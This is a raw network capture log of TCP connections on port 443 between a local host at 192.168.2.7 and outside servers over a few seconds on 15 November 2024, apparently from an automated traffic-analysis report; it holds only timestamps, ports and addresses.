Nov 15, 2024 13:18:51.396941900 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.396970987 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.397561073 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.397819996 CET	49928	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.397835016 CET	443	49928	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.398926020 CET	49928	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.400393963 CET	49929	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.400438070 CET	443	49929	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.400760889 CET	49929	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.404490948 CET	49930	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.404499054 CET	443	49930	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.404570103 CET	49930	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.408394098 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.408406019 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.408942938 CET	49928	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.408951998 CET	443	49928	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.409770012 CET	49929	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.409805059 CET	443	49929	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.409974098 CET	49930	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.409982920 CET	443	49930	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.784373999 CET	443	49925	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.785141945 CET	49925	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.785154104 CET	443	49925	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.785963058 CET	49925	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.785967112 CET	443	49925	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.912322044 CET	443	49925	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.912396908 CET	443	49925	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.912570953 CET	49925	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.912683964 CET	49925	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.912702084 CET	443	49925	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.913022995 CET	49925	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.913032055 CET	443	49925	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.915901899 CET	49933	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.915944099 CET	443	49933	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.916011095 CET	49933	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.916224003 CET	49933	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.916232109 CET	443	49933	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.140091896 CET	443	49930	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.140688896 CET	49930	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.140708923 CET	443	49930	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.141184092 CET	49930	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.141189098 CET	443	49930	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.141891003 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.142317057 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.142348051 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.142628908 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.142635107 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.147515059 CET	443	49929	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.147892952 CET	49929	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.147952080 CET	443	49929	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.148308039 CET	49929	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.148319006 CET	443	49929	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.269393921 CET	443	49930	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.269468069 CET	443	49930	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.269514084 CET	49930	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.270328999 CET	49930	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.270348072 CET	443	49930	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.270359039 CET	49930	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.270365000 CET	443	49930	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.271804094 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.271826029 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.271867990 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.271882057 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.271915913 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.274379969 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.274394989 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.277661085 CET	443	49929	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.277688980 CET	443	49929	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.277729988 CET	443	49929	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.277743101 CET	49929	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.277803898 CET	49929	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.279006958 CET	49929	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.279006958 CET	49929	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.279051065 CET	443	49929	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.279078960 CET	443	49929	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.282408953 CET	49939	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.282440901 CET	443	49939	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.282515049 CET	49939	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.282763004 CET	49940	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.282800913 CET	443	49940	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.282852888 CET	49940	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.282967091 CET	49939	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.282980919 CET	443	49939	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.283072948 CET	49940	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.283082962 CET	443	49940	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.283417940 CET	49941	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.283441067 CET	443	49941	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.283497095 CET	49941	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.283658028 CET	49941	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.283668041 CET	443	49941	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.346605062 CET	443	49928	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.347207069 CET	49928	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.347230911 CET	443	49928	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.347968102 CET	49928	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.347975016 CET	443	49928	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.475838900 CET	443	49928	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.475878000 CET	443	49928	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.475950003 CET	49928	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.475959063 CET	443	49928	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.476006031 CET	49928	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.476264000 CET	49928	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.476279974 CET	443	49928	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.476289034 CET	49928	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.476294041 CET	443	49928	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.479701042 CET	49942	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.479748964 CET	443	49942	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.479823112 CET	49942	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.480093956 CET	49942	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.480106115 CET	443	49942	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.666009903 CET	443	49933	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.666677952 CET	49933	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.666697025 CET	443	49933	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.667192936 CET	49933	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.667196989 CET	443	49933	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.796794891 CET	443	49933	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.797401905 CET	443	49933	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.797477007 CET	49933	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.797542095 CET	49933	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.797554970 CET	443	49933	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.797564983 CET	49933	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.797569990 CET	443	49933	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.800705910 CET	49946	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.800740957 CET	443	49946	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:52.800823927 CET	49946	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.800973892 CET	49946	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:52.800986052 CET	443	49946	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.012152910 CET	443	49941	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.015178919 CET	443	49939	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.017864943 CET	49941	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.017879009 CET	443	49941	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.018527985 CET	49941	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.018532038 CET	443	49941	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.019027948 CET	49939	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.019057989 CET	443	49939	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.019716024 CET	49939	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.019721031 CET	443	49939	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.026539087 CET	443	49940	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.028331995 CET	49940	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.028352022 CET	443	49940	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.028824091 CET	49940	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.028829098 CET	443	49940	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.146996975 CET	443	49939	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.147030115 CET	443	49939	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.147074938 CET	443	49939	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.147125006 CET	49939	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.147166967 CET	49939	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.153439045 CET	443	49941	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.153624058 CET	443	49941	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.153717041 CET	49941	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.173474073 CET	49939	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.173505068 CET	443	49939	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.173551083 CET	49939	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.173558950 CET	443	49939	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.174858093 CET	49941	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.174885988 CET	443	49941	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.174918890 CET	49941	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.174926996 CET	443	49941	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.178520918 CET	443	49940	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.178692102 CET	443	49940	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.178783894 CET	49940	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.184905052 CET	49940	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.184917927 CET	443	49940	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.184930086 CET	49940	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.184935093 CET	443	49940	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.190439939 CET	49949	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.190479994 CET	443	49949	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.190579891 CET	49949	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.191499949 CET	49950	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.191549063 CET	443	49950	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.191572905 CET	49949	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.191590071 CET	443	49949	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.191621065 CET	49950	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.191814899 CET	49950	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.191829920 CET	443	49950	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.192697048 CET	49951	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.192707062 CET	443	49951	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.193592072 CET	49951	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.193783045 CET	49951	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.193792105 CET	443	49951	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.224231005 CET	443	49942	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.224668026 CET	49942	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.224688053 CET	443	49942	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.225153923 CET	49942	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.225157976 CET	443	49942	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.355956078 CET	443	49942	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.355990887 CET	443	49942	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.356044054 CET	443	49942	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.356133938 CET	49942	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.356165886 CET	49942	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.359041929 CET	49942	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.359061956 CET	443	49942	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.359074116 CET	49942	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.359078884 CET	443	49942	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.363228083 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.363260984 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.363334894 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.363491058 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.363502026 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.538714886 CET	443	49946	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.539289951 CET	49946	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.539321899 CET	443	49946	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.539788008 CET	49946	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.539796114 CET	443	49946	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.666704893 CET	443	49946	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.666804075 CET	443	49946	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.666870117 CET	49946	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.669286966 CET	49946	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.669308901 CET	443	49946	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.669322968 CET	49946	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.669328928 CET	443	49946	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.679267883 CET	49965	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.679286957 CET	443	49965	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.679348946 CET	49965	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.679785013 CET	49965	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.679796934 CET	443	49965	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.921679020 CET	443	49950	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.930435896 CET	443	49949	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:53.965897083 CET	49950	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.981894016 CET	49949	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:53.994174957 CET	443	49850	172.217.16.196	192.168.2.7
Nov 15, 2024 13:18:53.994256973 CET	443	49850	172.217.16.196	192.168.2.7
Nov 15, 2024 13:18:53.994323015 CET	49850	443	192.168.2.7	172.217.16.196
Nov 15, 2024 13:18:54.093199968 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.148067951 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.414150000 CET	49850	443	192.168.2.7	172.217.16.196
Nov 15, 2024 13:18:54.414170027 CET	443	49850	172.217.16.196	192.168.2.7
Nov 15, 2024 13:18:54.428529024 CET	49950	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.428540945 CET	443	49950	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.429248095 CET	49950	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.429250956 CET	443	49950	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.429688931 CET	49949	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.429701090 CET	443	49949	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.430362940 CET	49949	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.430367947 CET	443	49949	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.431637049 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.431648016 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.432317972 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.432322025 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.432879925 CET	443	49965	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.433374882 CET	49965	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.433394909 CET	443	49965	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.435239077 CET	49965	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.435245991 CET	443	49965	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.555022001 CET	443	49950	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.555207968 CET	443	49950	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.555296898 CET	49950	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.556921005 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.556993961 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.557051897 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.557322979 CET	443	49949	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.557395935 CET	443	49949	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.557460070 CET	49949	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.557478905 CET	443	49949	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.557513952 CET	443	49949	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.557555914 CET	49949	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.561084986 CET	443	49965	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.561592102 CET	443	49965	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.561650038 CET	49965	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.564769030 CET	49950	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.564788103 CET	443	49950	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.564800024 CET	49950	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.564806938 CET	443	49950	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.565922976 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.565943003 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.565953970 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.565959930 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.570158958 CET	49949	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.570178986 CET	443	49949	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.570193052 CET	49949	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.570198059 CET	443	49949	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.570319891 CET	49965	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.570324898 CET	443	49965	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.570333958 CET	49965	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.570337057 CET	443	49965	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.572837114 CET	49967	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.572860003 CET	443	49967	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.572942972 CET	49967	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.573542118 CET	49968	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.573575974 CET	443	49968	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.573642015 CET	49968	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.573685884 CET	49967	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.573703051 CET	443	49967	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.574122906 CET	49969	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.574172974 CET	443	49969	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.574230909 CET	49969	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.574317932 CET	49968	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.574318886 CET	49969	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.574332952 CET	443	49968	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.574335098 CET	443	49969	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.574781895 CET	49970	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.574790001 CET	443	49970	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:54.574882984 CET	49970	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.575038910 CET	49970	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:54.575050116 CET	443	49970	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.328598976 CET	443	49970	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.329288006 CET	49970	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.329308033 CET	443	49970	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.330126047 CET	49970	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.330131054 CET	443	49970	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.330759048 CET	443	49967	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.330775976 CET	443	49968	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.331202984 CET	49968	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.331216097 CET	443	49969	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.331218004 CET	443	49968	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.331235886 CET	49967	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.331259012 CET	443	49967	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.331619024 CET	49968	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.331624031 CET	443	49968	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.331747055 CET	49967	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.331754923 CET	443	49967	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.331865072 CET	49969	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.331886053 CET	443	49969	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.332247972 CET	49969	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.332254887 CET	443	49969	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.457936049 CET	443	49970	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.458005905 CET	443	49970	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.458122015 CET	49970	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.458122969 CET	443	49970	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.458182096 CET	49970	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.458420038 CET	49970	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.458437920 CET	443	49970	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.458448887 CET	49970	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.458453894 CET	443	49970	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.460592031 CET	443	49968	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.460668087 CET	443	49968	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.460719109 CET	49968	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.460727930 CET	443	49968	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.460803986 CET	443	49968	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.460849047 CET	49968	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.461122990 CET	49983	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.461165905 CET	443	49983	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.461226940 CET	49983	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.461286068 CET	49968	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.461289883 CET	443	49968	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.461299896 CET	49968	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.461303949 CET	443	49968	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.461401939 CET	443	49967	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.461575985 CET	443	49967	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.461698055 CET	49967	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.462341070 CET	49983	443	192.168.2.7	13.107.246.45
